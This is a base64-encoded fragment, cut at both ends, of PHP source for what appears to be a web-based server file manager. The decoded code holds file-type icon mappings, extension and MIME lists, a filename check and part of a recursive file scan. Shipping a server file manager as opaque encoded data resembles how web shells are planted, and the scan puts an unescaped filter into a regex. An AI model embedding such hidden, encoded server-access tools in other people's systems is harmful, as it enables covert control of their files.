CAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpO1xuICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTtcbiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSxcbiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSxcbiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlclxuICAgICAgICAgICAgKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBFbmNvZGUgaHRtbCBlbnRpdGllc1xuICogQHBhcmFtIHN0cmluZyAkdGV4dFxuICogQHJldHVybiBzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2VuYygkdGV4dClcbntcbiAgICByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkdGV4dCwgRU5UX1FVT1RFUywgJ1VURi04Jyk7XG59XG5cblwvKipcbiAqIFByZXZlbnQgWFNTIGF0dGFja3NcbiAqIEBwYXJhbSBzdHJpbmcgJHRleHRcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KVxue1xuICAgIHJldHVybiAoc3RycGJyaygkdGV4dCwgJ1wvPyUqOnxcIjw+JykgPT09IEZBTFNFKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb25cbiAqIEBwYXJhbSBzdHJpbmcgJG1zZ1xuICogQHBhcmFtIHN0cmluZyAkc3RhdHVzXG4gKlwvXG5mdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKVxue1xuICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZztcbiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1cztcbn1cblxuXC8qKlxuICogQ2hlY2sgaWYgc3RyaW5nIGlzIGluIFVURi04XG4gKiBAcGFyYW0gc3RyaW5nICRzdHJpbmdcbiAqIEByZXR1cm4gaW50XG4gKlwvXG5mdW5jdGlvbiBmbV9pc191dGY4KCRzdHJpbmcpXG57XG4gICAgcmV0dXJuIHByZWdfbWF0Y2goJ1wvXC91JywgJHN0cmluZyk7XG59XG5cblwvKipcbiAqIENvbnZlcnQgZmlsZSBuYW1lIHRvIFVURi04IGluIFdpbmRvd3NcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKVxue1xuICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7XG4gICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRmaWxlbmFtZSk7XG4gICAgfVxuICAgIHJldHVybiAkZmlsZW5hbWU7XG59XG5cblwvKipcbiAqIEBwYXJhbSAkb2JqXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9vYmplY3RfdG9fYXJyYXkoJG9iailcbntcbiAgICBpZiAoIWlzX29iamVjdCgkb2JqKSAmJiAhaXNfYXJyYXkoJG9iaikpIHtcbiAgICAgICAgcmV0dXJuICRvYmo7XG4gICAgfVxuICAgIGlmIChpc19vYmplY3QoJG9iaikpIHtcbiAgICAgICAgJG9iaiA9IGdldF9vYmplY3RfdmFycygkb2JqKTtcbiAgICB9XG4gICAgcmV0dXJuIGFycmF5X21hcCgnZm1fb2JqZWN0X3RvX2FycmF5JywgJG9iaik7XG59XG5cblwvKipcbiAqIEdldCBDU1MgY2xhc3NuYW1lIGZvciBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7XG5cbiAgICBzd2l0Y2ggKCRleHQpIHtcbiAgICAgICAgY2FzZSAnaWNvJzpcbiAgICAgICAgY2FzZSAnZ2lmJzpcbiAgICAgICAgY2FzZSAnanBnJzpcbiAgICAgICAgY2FzZSAnanBlZyc6XG4gICAgICAgIGNhc2UgJ2pwYyc6XG4gICAgICAgIGNhc2UgJ2pwMic6XG4gICAgICAgIGNhc2UgJ2pweCc6XG4gICAgICAgIGNhc2UgJ3hibSc6XG4gICAgICAgIGNhc2UgJ3dibXAnOlxuICAgICAgICBjYXNlICdwbmcnOlxuICAgICAgICBjYXNlICdibXAnOlxuICAgICAgICBjYXNlICd0aWYnOlxuICAgICAgICBjYXNlICd0aWZmJzpcbiAgICAgICAgY2FzZSAnd2VicCc6XG4gICAgICAgIGNhc2UgJ2F2aWYnOlxuICAgICAgICBjYXNlICdzdmcnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1waWN0dXJlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3Bhc3N3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVz